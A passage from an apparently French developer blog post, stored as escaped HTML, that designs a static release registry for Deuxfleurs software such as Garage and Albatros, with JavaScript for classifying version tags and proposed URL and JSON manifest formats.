  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tags&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;albatros_tags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()))()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite il ne reste plus qu’à l’insérer dans le DOM de la page :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;inject_list&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;manifest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;manifest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`registry.deuxfleurs.org/albatros:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;pre&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inject_list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;albatros_tags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()))()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Comme je disais au dessus, on a plusieurs types de builds. On va les classer selon cette regex :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;release_semver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/^v&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;?[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+$/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;prerelease_semver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/^v&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;?[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;+-.*$/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;find_cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;release_semver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;release&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prerelease_semver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;prerelease&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;dev&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;categorize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;acc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;acc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find_cat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;acc&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;release&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;prerelease&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;dev&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui nous donne la classification suivante avec notre extrait pour Garage par exemple :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;release&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.7.3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.2&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;prerelease&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-beta1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-beta2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-rc1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8.0-rc2&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;02e8eb167efa1f08d69fe7f8e6192cde726c45aa&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;fcc5033466e58e3beec05ee7748d33522b6b32b0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;v0.8-rc2&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Note 1 : on voit qu’une prerelease dont le tag a été raté est passé dans “dev”. Je pense que c’est un comportement intéressant : si on se rate sur un tag, qu’il est trop bizarre, alors on le classe en développement, c’est tout de suite visible qu’on a eu un problème.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note 2 : se pose la question de comment ont trie à l’intérieur d’une catégorie, aujourd’hui on reprend l’ordre de la liste initiale. Dans le cadre de Docker, il apparait que c’est l’ordre alphabétique qui est choisi. Ce qui marche à peu près pour le semver mais pas du tout pour les commits. Nous on voudrait simplement trier par date mais on a pas accès à cette information dans la liste des tags. Par contre, on peut simplement dire que dans notre implémentation, le générateur qui se charge de construire la liste, ordonne du plus récent au moins récent les tags, tout simplement !&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;spécifier-notre-registre-statique&quot;&gt;Spécifier notre registre statique&lt;/h2&gt;

&lt;p&gt;Aujourd’hui une URL de téléchargement de Garage ressemble à ça :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://garagehq.deuxfleurs.fr/_releases/v0.8.2/x86_64-unknown-linux-musl/garage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si on décompose ça veut dire :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;host&amp;gt;/_releases/&amp;lt;tag&amp;gt;/&amp;lt;llvm target triple&amp;gt;/&amp;lt;binary&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;On peut en apprendre plus sur les target triple de LLVM dans ce billet de blog :&lt;/em&gt; &lt;a href=&quot;https://www.flother.is/til/llvm-target-triple/&quot;&gt;What’s an LLVM target triple?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Déjà le préfix de chemin &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_releases&lt;/code&gt; ne fait plus sens dans notre cas : il était là pour ne pas rentrer en conflit avec le géérateur de site statique (d’où le underscore), et parce que les releases étaient partagées avec le site web. Dans &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;download.deuxfleurs.org&lt;/code&gt; on ne va stocker que des releases, donc ça n’a plus grand sens.&lt;/p&gt;

&lt;p&gt;Pour autant, garder un préfixe, ça a du sens, parce qu’il va décrire comment la hiérarchie sous-jacente va se constituer, ainsi que de permettre de migrer plus tard vers de nouvelles hiérarchies.&lt;/p&gt;

&lt;p&gt;Se pose aussi la question du triple LLVM, c’est ce qui est utilisé par Rust, mais ce n’est jamais ce qu’on affiche, à la place on utilise la notation du projet Go, notation aussi utilisée par le projet Docker. Au passage, je la trouve plus simple à comprendre car elle ne contient qu’une combinaison d’un OS et d’une architecture. Mais se pose aussi la question de ce qui se passe si on prévoit de supporter une combinaison qui n’existe pas pour Go. Et en même temps, la notation LLVM est complexe à lire et contient des informations que je considère comme des détails internes : ainsi notre choix d’utiliser musl est lié à notre choix de compiler en interne, qui est lié à l’idée qu’une fois l’OS et l’architecture identifiée, on veut que Garage tourne. Bref, tout ça me fait penser qu’on devrait adopter la notation de Go dans une démarche de penser à l’utilisateur final. Et si ça pose problème, il sera toujours temps de spécifier un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df-dist-v2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Donc on pourrait avoir ces URL :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;list tags:    &amp;lt;host&amp;gt;/df-dist-v1/&amp;lt;name&amp;gt;
list flavors: &amp;lt;host&amp;gt;/df-dist-v1/&amp;lt;name&amp;gt;/&amp;lt;tag&amp;gt;
blobs:        &amp;lt;host&amp;gt;/df-dist-v1/&amp;lt;name&amp;gt;/&amp;lt;tag&amp;gt;/&amp;lt;go_os&amp;gt;/&amp;lt;go_arch&amp;gt;/&amp;lt;binary&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour la liste des tags, on reprend le format de Docker (avec la subtilité que nos tags doivent être listés par ordre chronologique, du plus récent au plus vieux) :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;albatros&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;tags&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.9&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour la déclinaison (&lt;em&gt;flavor&lt;/em&gt;), on s’inspire du manifest multi arch de Docker :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;flavors&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;resources&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;albatros&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;platform&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;amd64&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;resources&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;albatros&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;platform&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;386&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

